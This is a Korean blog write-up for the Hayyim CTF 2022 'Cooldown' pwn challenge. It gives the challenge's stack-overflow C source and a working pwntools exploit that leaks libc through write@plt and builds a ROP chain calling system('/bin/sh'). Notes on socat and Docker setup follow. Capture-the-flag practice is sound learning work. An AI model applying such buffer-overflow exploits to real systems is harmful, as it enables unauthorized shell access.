hayyim ctf 2022 - Cooldown 본문
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void vuln() {
char buf[0x30];
memset(buf, 0, 0x30);
write(1, "> ", 2);
read(0, buf, 0x60);
}
int main(void) {
init();
vuln();
exit(0);
}
저번 문제 warmup과 입력값의 크기만 다르다.
ctftime에 writeup이 올라와 있다.
from pwn import *
context.log_level = 'Debug'
binary = context.binary = ELF('./Cooldown', checksec=False)
s = process(['socat', 'TCP-LISTEN:9999,reuseaddr,fork','EXEC:./Cooldown,pty,setsid,sigint,sane,rawer'])
p = remote('127.0.0.1', 9999)
libc = ELF('./libc.so.6', checksec=False)
payload = b''
payload += 'A'*56
payload += p64(binary.plt.write)
p.sendafter('> ',payload)
p.recv(len(payload))
libc.address = u64(p.recv(8)) - (0x00007ffff7dd40ca - 0x00007ffff79e2000)
log.info('libc.address: {x}'.format(x = hex(libc.address)))
pop_rdi = libc.search(asm('pop rdi; ret')).next()
payload = b''
payload += 56 * b'A'
payload += p64(pop_rdi)
payload += p64(libc.search(b'/bin/sh').next())
payload += p64(libc.sym.system)
p.sendafter(b'> ',payload)
p.interactive()
그냥 process로 로컬로 진행할 때는 메모리 leak이 안된다.
되는 사람이 있고 안 되는 사람도 있다. - 나는 되지 않는다
socat으로 진행할때는 leak이 가능하다.
fd를 읽을때 차이라고는 하는데 정확한 이유는 잘 모르겠다.
또한 socat을 사용할 때의 gdb방법을 알 수가 없었다.
프로세스를 attach해서 gdb를 한다고 하는데
나는 잘 되지 않았다.
Docker를 세팅해서 진행해 보았다.
docker-compose up -d으로 새로운 이미지와 컨테이너를 만들었다.
그 후 exploit code를 진행했는데 잘먹혔다.
그러나 도커도 remote로 연결하기에 gdb 방법을 몰랐다.
exploit code 자체는 다 이해가 가지만
socat이라는 개념에 대해 처음 알게 되어
삽질을 했다.
---------------------------------------------
Hayyim CTF 2022 Write-up - HackMD
Hayyim CTF 2022 Write-up - HackMD
# Hayyim CTF 2022 Write-up 팀 `하임이 흑화하면? 초코하임 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ` 멤버: 김지환, 이주창, 정현식, 최민엽 ## Pwn ### Warmup
hackmd.io
다른 사람의 풀이를 보면
ld까지 이동하여 leak하는 방법도 있었다.
'보안 > 워게임' 카테고리의 다른 글
pwn_patch_1 (0) | 2022.02.17 |
---|---|
Inject ME!!! (0) | 2022.02.16 |
hayyim ctf 2022 - Warmup (0) | 2022.02.13 |
hayyim ctf 2022 - 후기 (0) | 2022.02.13 |
Bypass SECCOMP-1 (0) | 2022.02.07 |